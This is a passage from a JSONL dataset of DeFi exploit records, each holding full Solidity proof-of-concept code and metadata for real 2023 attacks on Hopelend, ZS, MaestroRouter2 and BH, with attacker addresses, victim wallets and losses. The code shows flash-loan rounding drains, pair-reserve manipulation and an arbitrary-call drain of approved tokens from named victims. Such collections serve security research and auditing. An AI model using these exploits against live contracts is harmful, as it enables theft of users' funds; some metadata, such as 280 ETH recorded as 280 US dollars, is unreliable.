Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(WBTC),\n tokenOut: address(WETH),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 10_000,\n amountIn: WBTC.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(_Params);\n }\n\n function WithdrawAllWBTC() internal {\n uint256 premiumPerFlashloan = 2000 * 1e8 * 9 / 10_000; // 0.09% flashlaon fee\n premiumPerFlashloan -= (premiumPerFlashloan * 30 / 100); // 30% protocol fee\n uint256 nextLiquidityIndex = premiumPerFlashloan * 60 + 1; // 60 times flashloan\n uint256 depositAmount = nextLiquidityIndex; // Use a rounding error greater than 0.5 for upward rounding and less than downward rounding\n uint256 withdrawAmount = nextLiquidityIndex * 3 / 2 - 1; // withdraw 1.5 share of asset, but only burn 1 share throungh rounding error\n uint256 profitPerDAW = withdrawAmount - depositAmount; // profit per deposit and withdraw process\n\n console.log(\"premiumPerFlashloan\", premiumPerFlashloan);\n console.log(\"nextLiquidityIndex\", nextLiquidityIndex);\n console.log(\"depositAmount\", depositAmount);\n console.log(\"withdrawAmount\", withdrawAmount);\n console.log(\"withdrawAmount/depositAmount\", withdrawAmount / depositAmount);\n\n HopeLend.deposit(address(WBTC), depositAmount * 2, address(this), 0); // mint 2 share\n HopeLend.withdraw(address(WBTC), withdrawAmount, address(this)); // burn 1 share, withdraw 1.5 share of asset\n uint256 idx = 0;\n uint256 count = (2000 * 1e8 + depositAmount * 3 - withdrawAmount) / profitPerDAW + 1;\n for (idx = 0; idx < count; idx++) {\n HopeLend.deposit(address(WBTC), depositAmount, address(this), 0); // mint 1 share\n HopeLend.withdraw(address(WBTC), withdrawAmount, address(this)); // burn 1 share, withdraw 1.5 share of asset\n }\n HopeLend.deposit(address(WBTC), depositAmount, address(this), 0);\n withdrawAmount = WBTC.balanceOf(address(hEthWBTC));\n HopeLend.withdraw(address(WBTC), withdrawAmount, address(this));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Hopelend", "date": "2023-10", "file_name": "Hopelend_exp.sol", "attack_vector": "flash_loan", "content_hash": "52ea73428e21e74a", "collected_at": "2026-01-07T10:59:16.542453", "_source": "postmortems", "chain": "ethereum", "block_number": 18377041, "total_lost_raw": "~$825000 US$", "total_lost_usd": 825000.0, "attacker_address": "https://etherscan.io/address/0xA8Bbb3742f299B183190a9B079f1C0db8924145b", "attack_contract": "https://etherscan.io/address/0xc74b72bbf904bac9fac880303922fc76a69f0bb4", "vulnerable_contract": "https://etherscan.io/address/0x53FbcADa1201A465740F2d64eCdF6FAC425f9030", "attack_tx": "https://etherscan.io/tx/0x1a7ee0a7efc70ed7429edef069a1dd001fbff378748d91f17ab1876dc6d10392", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$825000 US$", "category": "flash-loan", "exploit_code": "function testAttack() public {\n deal(address(this), 0);\n approveAll();\n\n address[] memory assets = new address[](1);\n assets[0] = address(WBTC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 2300 * 1e8;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n\n AaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n WBTCToWETH();\n WETH.withdraw(WETH.balanceOf(address(this)));\n block.coinbase.call{value: 264 ether}(\"\");\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, WETH.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$825000 US$", "keyinfo_attacker": "https://etherscan.io/address/0xA8Bbb3742f299B183190a9B079f1C0db8924145b", "keyinfo_attack_contract": "https://etherscan.io/address/0xc74b72bbf904bac9fac880303922fc76a69f0bb4", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x53FbcADa1201A465740F2d64eCdF6FAC425f9030", "keyinfo_attack_tx": "https://etherscan.io/tx/0x1a7ee0a7efc70ed7429edef069a1dd001fbff378748d91f17ab1876dc6d10392", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$825.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Hopelend Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$14K\n// Attacker : https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e\n// Attack Contract : https://bscscan.com/address/0xa905ff8853edc498a2acddfdfac4a56c2c599930\n// Vulnerable Contract : https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc\n// First Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xe2e87090f47c82eed3697297763edfad8e9689d2da7a4325541087d77432f54f\n// Second Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xbc88aa6057f9da6f88e28bc908baad111ae7545e69fb0c90fbdfd485c9e72192\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L1553\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1711189697534513327\n// Hacking God :\n\ninterface IZS is IERC20 {\n function Burnamount() external view returns (uint256);\n\n function destory_pair_amount() external;\n}\n\ncontract ZSExploit is BaseTestWithBalanceLog {\n IZS private constant ZS = IZS(0x12b3B6b1055B8Ad1aE8F60a0B6C79A9825Bcb4bC);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter private constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);\n Uni_Pair_V2 private constant ZS_BUSDT = Uni_Pair_V2(0x162888d39Cfb0990699aD1EA252521b2982ad690);\n\n uint256 private constant blocknumToForkFrom = 32_429_591;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(ZS), \"ZS\");\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(PancakeRouter), \"PancakeRouter\");\n vm.label(address(BUSDT_USDC), \"BUSDT_USDC\");\n vm.label(address(ZS_BUSDT), \"ZS_BUSDT\");\n }\n\n function testExploit() public {\n deal(address(this), 0.1 ether);\n deal(address(BUSDT), address(this), 0);\n // First tx\n AttackContract attackContract = new AttackContract{value: address(this).balance}();\n vm.roll(block.number + 2);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n // Second tx\n attackContract.exploitZS();\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n}\n\ncontract AttackContract is Test {\n IZS private constant ZS = IZS(0x12b3B6b1055B8Ad1aE8F60a0B6C79A9825Bcb4bC);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter private constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);\n Uni_Pair_V2 private constant ZS_BUSDT = Uni_Pair_V2(0x162888d39Cfb0990699aD1EA252521b2982ad690);\n address private immutable exploiter;\n\n // Calling ZS token in constructor here is crucial because of ZS transfer function logic\n // https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L1480\n constructor() payable {\n exploiter = msg.sender;\n BUSDT.approve(address(PancakeRouter), type(uint256).max);\n WBNBToBUSDT();\n BUSDTToZS();\n BUSDT.transfer(address(ZS_BUSDT), 1);\n ZS.transfer(address(ZS_BUSDT), 1e18);\n ZS_BUSDT.sync();\n }\n\n function exploitZS() external {\n uint256 ZSAmountOut = (ZS.balanceOf(address(ZS_BUSDT)) - ZS.Burnamount()) - 1;\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(ZS);\n uint256[] memory amountsIn = PancakeRouter.getAmountsIn(ZSAmountOut, path);\n uint256 flashBUSDTAmount = (amountsIn[0] + 1000e18) - BUSDT.balanceOf(address(this));\n bytes memory data = abi.encode(flashBUSDTAmount);\n BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, data);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint256 amountToRepayFlash = abi.decode(data, (uint256));\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(ZS);\n uint256[] memory amountsOut = PancakeRouter.getAmountsOut(BUSDT.balanceOf(address(this)) - 1000e18, path);\n ZS_BUSDT.swap(amountsOut[1], 0, address(this), bytes(\"_\"));\n\n // Call to flawed function\n ZS.destory_pair_amount();\n path[0] = address(ZS);\n path[1] = address(BUSDT);\n amountsOut = PancakeRouter.getAmountsOut(ZS.balanceOf(address(this)), path);\n BUSDT.transfer(address(ZS_BUSDT), 1);\n ZS.transfer(address(ZS_BUSDT), ZS.balanceOf(address(this)));\n ZS_BUSDT.swap(0, amountsOut[1], address(this), bytes(\"\"));\n\n BUSDT.transfer(address(BUSDT_USDC), amountToRepayFlash + fee0);\n BUSDT.transfer(exploiter, BUSDT.balanceOf(address(this)));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n BUSDT.transfer(address(ZS_BUSDT), BUSDT.balanceOf(address(this)) - 1000e18);\n }\n\n function WBNBToBUSDT() private {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BUSDT);\n PancakeRouter.swapExactETHForTokens{value: address(this).balance}(\n 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function BUSDTToZS() private {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(ZS);\n PancakeRouter.swapExactTokensForTokens(\n BUSDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "ZS", "date": "2023-10", "file_name": "ZS_exp.sol", "attack_vector": null, "content_hash": "dafd15a8f88a85eb", "collected_at": "2026-01-07T10:59:16.542541", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$14K", "total_lost_usd": 14000.0, "attacker_address": "https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e", "attack_contract": "https://bscscan.com/address/0xa905ff8853edc498a2acddfdfac4a56c2c599930", "vulnerable_contract": "https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xe2e87090f47c82eed3697297763edfad8e9689d2da7a4325541087d77432f54f", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1711189697534513327", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$14K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(this), 0.1 ether);\n deal(address(BUSDT), address(this), 0);\n // First tx\n AttackContract attackContract = new AttackContract{value: address(this).balance}();\n vm.roll(block.number + 2);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n // Second tx\n attackContract.exploitZS();\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n}\n\ncontract AttackContract is Test {\n IZS private constant ZS = IZS(0x12b3B6b1055B8Ad1aE8F60a0B6C79A9825Bcb4bC);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter private constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);\n Uni_Pair_V2 private constant ZS_BUSDT = Uni_Pair_V2(0x162888d39Cfb0990699aD1EA252521b2982ad690);\n address private immutable exploiter;\n\n // Calling ZS token in constructor here is crucial because of ZS transfer function logic\n // https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc#code#F1#L1480\n constructor() payable {\n exploiter = msg.sender;\n BUSDT.approve(address(PancakeRouter), type(uint256).max);\n WBNBToBUSDT();\n BUSDTToZS();\n BUSDT.transfer(address(ZS_BUSDT), 1);\n ZS.transfer(address(ZS_BUSDT), 1e18);\n ZS_BUSDT.sync();\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$14K", "keyinfo_attacker": "https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e", "keyinfo_attack_contract": "https://bscscan.com/address/0xa905ff8853edc498a2acddfdfac4a56c2c599930", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x12b3b6b1055b8ad1ae8f60a0b6c79a9825bcb4bc", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xe2e87090f47c82eed3697297763edfad8e9689d2da7a4325541087d77432f54f", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1711189697534513327", "funds_lost_formatted": "$14.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "ZS Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~280 ETH\n// Attacker : https://etherscan.io/address/0xce6397e53c13ff2903ffe8735e478d31e648a2c6\n// Attack Contract : https://etherscan.io/address/0xe6c6e86e04de96c4e3a29ad480c94e7a471969ab\n// Attacker Transaction :\n// https://etherscan.io/tx/0xc087fbd68b9349b71838982e789e204454bfd00eebf9c8e101574376eb990d92 14 ETH\n// https://etherscan.io/tx/0xede874f9a4333a26e97d3be9d1951e6a3c2a8861e4e301787093cfb1293d4756 28.5 ETH\n// https://etherscan.io/tx/0xe60c5a3154094828065049121e244dfd362606c2a5390d40715ba54699ba9da6 75 ETH\n// https://etherscan.io/tx/0xf4ae22177c3abbb0f21defe51dd14eff68eb1b0c52ac4104186220138e8e5bb2 32.7 ETH\n// https://etherscan.io/tx/0x6cba3a67d6b8de664d860b096c8c558a1d65e5fa9735c657ddc98f67969561a2 32.5 ETH\n// https://etherscan.io/tx/0xddd1048fe3f2df1fb98e534a97173b32a9fca662dbd257a72725482431d3f25e 2 ETH\n// https://etherscan.io/tx/0xffb4bd29825bdd41adf344028f759692021cbadc2d4cb5b587e68fd8285c5eb1 41 ETH\n// https://etherscan.io/tx/0xa9948c8f0500a867091a090d12125f88868ac29e52af6391569094e82d416904 2 ETH\n// https://etherscan.io/tx/0xc49499325cb5ad3bf4391ae95855ce2ee2b0222f9282c524daa1c4586a8fcd8b 13.4 ETH\n// https://etherscan.io/tx/0xcfe1d2b333e1b9da5e2d5f1d7697b628c818cc41f9f3020187d4ce2c2610a05c 7.5 ETH\n// https://etherscan.io/tx/0x33f6adf410bbd0ae08b0cd44410de1e5b28e516434567113982fcac36ed9e1a4 4.7 ETH\n// https://etherscan.io/tx/0x4f4d6909a442b4d86f79a9044dcada6a128ddd9f62c26f410134a72d2fc31389 16.7\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1717014871836098663\n// https://twitter.com/BeosinAlert/status/1717013965203804457\n\ninterface IMaestroRouter {}\n\n// The hacker sent multiple transactions to attack, just taking the first transaction as an example.\n\ncontract MaestroRouter2Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IMaestroRouter router = IMaestroRouter(0x80a64c6D7f12C47B7c66c5B4E20E72bc1FCd5d9e);\n address router_logic = 0x8EAE9827b45bcC6570c4e82b9E4FE76692b2ff7a;\n IERC20 Mog = IERC20(0xaaeE1A9723aaDB7afA2810263653A34bA2C21C7a);\n WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n Uni_Router_V2 UniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\");\n\n cheats.label(address(router), \"MaestroRouter2\");\n cheats.label(address(router_logic), \"MaestroRouter2 Logic Contract\");\n cheats.label(address(Mog), \"Mog Token\");\n cheats.label(address(UniRouter), \"UniswapRouterV2\");\n }\n\n function testExploit() public {\n cheats.rollFork(18_423_219);\n emit log_named_decimal_uint(\"Attacker Mog balance before exploit\", Mog.balanceOf(address(this)), Mog.decimals());\n\n address[] memory victims = new address[](7);\n victims[0] = 0x4189ad9624F838eef865B09a0BE3369EAaCd8f6F;\n victims[1] = 0xD0b4EE02E9bA15b9dac916d2CCAbaD50F836B24D;\n victims[2] = 0xe84180bdc970c01B30a326f610F110acB23EcdBe;\n victims[3] = 0x6476425a65Ae09e22383B68416b32AbE62896aa9;\n victims[4] = 0x942beCA935703058E26527d0bD49D00E85841772;\n victims[5] = 0x968907878bDF60638FFdD5E4759289941333bf94;\n victims[6] = 0xA5162195e6CB7483eea8bA878d147b0E90519c64;\n bytes4 vulnFunctionSignature = hex\"9239127f\";\n for (uint256 i = 0; i < victims.length; i++) {\n uint256 allowance = Mog.allowance(victims[i], address(router));\n uint256 balance = Mog.balanceOf(victims[i]);\n balance = allowance < balance ? allowance : balance;\n bytes memory transferFromData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victims[i], address(this), balance);\n bytes memory data = abi.encodeWithSelector(vulnFunctionSignature, Mog, transferFromData, uint8(0), false);\n (bool success,) = address(router).call(data);\n }\n uint256 MogBalance = Mog.balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker Mog balance after exploit\", MogBalance, Mog.decimals());\n\n address[] memory path = new address[](2);\n path[0] = address(Mog);\n path[1] = address(WETH);\n Mog.approve(address(UniRouter), MogBalance);\n UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n MogBalance, 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", WETH.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "MaestroRouter2", "date": "2023-10", "file_name": "MaestroRouter2_exp.sol", "attack_vector": null, "content_hash": "0454a297573e0e70", "collected_at": "2026-01-07T10:59:16.542608", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~280 ETH", "total_lost_usd": 280.0, "attacker_address": "https://etherscan.io/address/0xce6397e53c13ff2903ffe8735e478d31e648a2c6", "attack_contract": "https://etherscan.io/address/0xe6c6e86e04de96c4e3a29ad480c94e7a471969ab", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~280 ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n cheats.rollFork(18_423_219);\n emit log_named_decimal_uint(\"Attacker Mog balance before exploit\", Mog.balanceOf(address(this)), Mog.decimals());\n\n address[] memory victims = new address[](7);\n victims[0] = 0x4189ad9624F838eef865B09a0BE3369EAaCd8f6F;\n victims[1] = 0xD0b4EE02E9bA15b9dac916d2CCAbaD50F836B24D;\n victims[2] = 0xe84180bdc970c01B30a326f610F110acB23EcdBe;\n victims[3] = 0x6476425a65Ae09e22383B68416b32AbE62896aa9;\n victims[4] = 0x942beCA935703058E26527d0bD49D00E85841772;\n victims[5] = 0x968907878bDF60638FFdD5E4759289941333bf94;\n victims[6] = 0xA5162195e6CB7483eea8bA878d147b0E90519c64;\n bytes4 vulnFunctionSignature = hex\"9239127f\";\n for (uint256 i = 0; i < victims.length; i++) {\n uint256 allowance = Mog.allowance(victims[i], address(router));\n uint256 balance = Mog.balanceOf(victims[i]);\n balance = allowance < balance ? allowance : balance;\n bytes memory transferFromData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victims[i], address(this), balance);\n bytes memory data = abi.encodeWithSelector(vulnFunctionSignature, Mog, transferFromData, uint8(0), false);\n (bool success,) = address(router).call(data);\n }\n uint256 MogBalance = Mog.balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker Mog balance after exploit\", MogBalance, Mog.decimals());\n\n address[] memory path = new address[](2);\n path[0] = address(Mog);\n path[1] = address(WETH);\n Mog.approve(address(UniRouter), MogBalance);\n UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n MogBalance, 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0xce6397e53c13ff2903ffe8735e478d31e648a2c6", "keyinfo_attack_contract": "https://etherscan.io/address/0xe6c6e86e04de96c4e3a29ad480c94e7a471969ab", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$280", "content_richness_score": 6.32, "quality_estimate": "medium", "title": "MaestroRouter2 Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$1.27M\n// Attacker : https://bscscan.com/address/0xfdbfceea1de360364084a6f37c9cdb7aaea63464\n// Attack Contract : https://bscscan.com/address/0x216ccfd4fb3f2267677598f96ef1ff151576480c\n// Vulnerable Contract : https://bscscan.com/address/0xcc61cc9f2632314c9d452aca79104ddf680952b5\n// Attack Tx : https://bscscan.com/tx/0xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade04007662\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1712139760813375973\n// https://twitter.com/DecurityHQ/status/1712118881425203350\n\ninterface IUnverifiedContract1 {\n function Upgrade(\n address _lpToken\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant BH = IERC20(0xCC61CC9F2632314c9d452acA79104DDf680952b5);\n IDPPOracle private constant DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle private constant DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle private constant DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n Uni_Pair_V2 private constant WBNB_BUSDT = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);\n IUnverifiedContract1 private constant UnverifiedContract1 =\n IUnverifiedContract1(0x8cA7835aa30b025b38A59309DD1479d2F452623a);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address private constant lpToken = 0xdbC27f2e9a2532b15C848F4Ae408cfE8BeB14959;\n address private constant unverifiedContractAddr2 = 0x5b9dd1De70320B1EA6C8BBebA12bf4e246227999;\n address private constant busdt_bh_lp = 0x2371E4Ad771020CE3D8252f1db3e5559FbA8eeb5;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 32_512_073);\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(BH), \"BH\");\n vm.label(address(DPPOracle1), \"DPPOracle1\");\n vm.label(address(DPPOracle2), \"DPPOracle2\");\n vm.label(address(DPPOracle3), \"DPPOracle3\");\n vm.label(address(DPPAdvanced), \"DPPAdvanced\");\n vm.label(address(DPP), \"DPP\");\n vm.label(address(WBNB_BUSDT), \"WBNB_BUSDT\");\n vm.label(address(BUSDT_USDC), \"BUSDT_USDC\");\n vm.label(address(UnverifiedContract1), \"UnverifiedContract1\");\n vm.label(address(Router), \"Router\");\n vm.label(lpToken, \"lpToken\");\n vm.label(unverifiedContractAddr2, \"unverifiedContractAddr2\");\n vm.label(busdt_bh_lp, \"busdt_bh_lp\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker BH balance before attack\", BH.balanceOf(address(this)), BH.decimals());\n\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker BH balance after attack\", BH.balanceOf(address(this)), BH.decimals());\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (abi.decode(data, (uint256)) == uint256(0)) {\n DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1));\n } else if (abi.decode(data, (uint256)) == uint256(1)) {\n DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(2));\n } else if (abi.decode(data, (uint256)) == uint256(2)) {\n DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(3));\n } else if (abi.decode(data, (uint256)) == uint256(3)) {\n DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(4));\n } else {\n WBNB_BUSDT.swap(10_000_000 * 1e18, 0, address(this), abi.encode(0));\n }\n BUSDT.transfer(msg.sender, quoteAmount);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n BUSDT_USDC.flash(address(this), 15_000_000 * 1e18, 0, abi.encode(0));\n BUSDT.transfer(address(WBNB_BUSDT), amount0 + 60_000 * 1e18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n BUSDT.approve(address(UnverifiedContract1), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n BH.approve(address(UnverifiedContract1), type(uint256).max);\n\n uint8 i;\n while (i < 12) {\n UnverifiedContract1.Upgrade(lpToken);\n ++i;\n }\n\n // Adding liquidity.\n (bool success,) =\n address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x33688938), 3_000_000 * 1e18));\n\n require(success, \"Call to function with selector 0x33688938 fail\");\n\n // Swap tokens. Change the liquidity removal ratio in favor of Attacker\n BUSDTToBH();\n\n // Remove liquidity\n i = 0;\n while (i < 10) {\n uint256 lpAmount = (BH.balanceOf(busdt_bh_lp) * 55) / 100;\n\n (success,) = address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x4e290832), lpAmount));\n\n require(success, \"Call to function with selector 0x4e290832 fail\");\n ++i;\n }\n\n BUSDT.transfer(address(BUSDT_USDC), 15_000_000 * 1e18 + fee0);\n }\n\n function BUSDTToBH() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(BH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 22_000_000 * 1e18, 0, path, unverifiedContractAddr2, block.timestamp + 100\n );\n }\n}\n", "type": "exploit_poc", "protocol": "BH", "date": "2023-10", "file_name": "BH_exp.sol", "attack_vector": "flash_loan", "content_hash": "9bd4449ced55e312", "collected_at": "2026-01-07T10:59:16.542663", "_source": "postmortems", "chain": "bsc", "block_number": 32512073, "total_lost_raw": "~$1.27M", "total_lost_usd": 1270000.0, "attacker_address": "https://bscscan.com/address/0xfdbfceea1de360364084a6f37c9cdb7aaea63464", "attack_contract": "https://bscscan.com/address/0x216ccfd4fb3f2267677598f96ef1ff151576480c", "vulnerable_contract": "https://bscscan.com/address/0xcc61cc9f2632314c9d452aca79104ddf680952b5", "attack_tx": "https://bscscan.com/tx/0xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade04007662", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$1.27M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker BH balance before attack\", BH.balanceOf(address(this)), BH.decimals());\n\n DPPOracle1.flashLoan(0, 